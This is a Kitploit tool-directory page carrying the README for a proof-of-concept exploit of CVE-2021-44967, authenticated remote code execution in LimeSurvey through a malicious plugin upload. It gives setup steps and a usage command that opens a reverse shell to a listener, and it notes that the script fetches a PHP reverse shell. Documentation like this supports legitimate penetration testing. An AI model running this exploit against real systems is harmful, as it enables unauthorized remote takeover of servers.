Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44967 — Proof-of-concept exploit for CVE-2021-44967 enabling remote code execution in LimeSurvey 5.2.4 via malicious plugin upload, with reverse shell capability. | Kitploit
Tools/GitHubGitHub/godylockz/cve-2021-44967
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubgodylockz/cve-2021-44967

CVE-2021-44967

Proof-of-concept exploit for CVE-2021-44967 enabling remote code execution in LimeSurvey 5.2.4 via malicious plugin upload, with reverse shell capability.

View Repository
1201 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-44967: LimeSurvey authenticated RCE

Proof of concept for CVE-2021-44967. The script authenticates to LimeSurvey, uploads and activates a PHP plugin, and triggers a reverse shell.

Use this only against systems you own or are authorized to test.

Requirements

  • Python 3
  • beautifulsoup4, netifaces, and requests
  • nc available in PATH
  • LimeSurvey administrator credentials with permission to install plugins

Create an isolated environment and install the Python packages:

python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests

Usage

python3 limesurvey_rce.py \
  --url https://target.example \
  --username admin \
  --password 'password' \
  --listen-ip tun0 \
  --listen-port 4444

--listen-ip accepts an IPv4 address or interface name and defaults to tun0. If --file is omitted, the script downloads the Pentestmonkey PHP reverse shell and configures it with the listener address. Pass --file payload.php to supply a local PHP payload instead.

Run python3 limesurvey_rce.py --help for all options, including proxy and custom User-Agent settings.

The exploit was tested against LimeSurvey Community Edition 6.6.4. The CVE record describes the issue in LimeSurvey 5.2.4.

References

  • NVD: CVE-2021-44967
  • Original LimeSurvey RCE proof of concept
Download Tool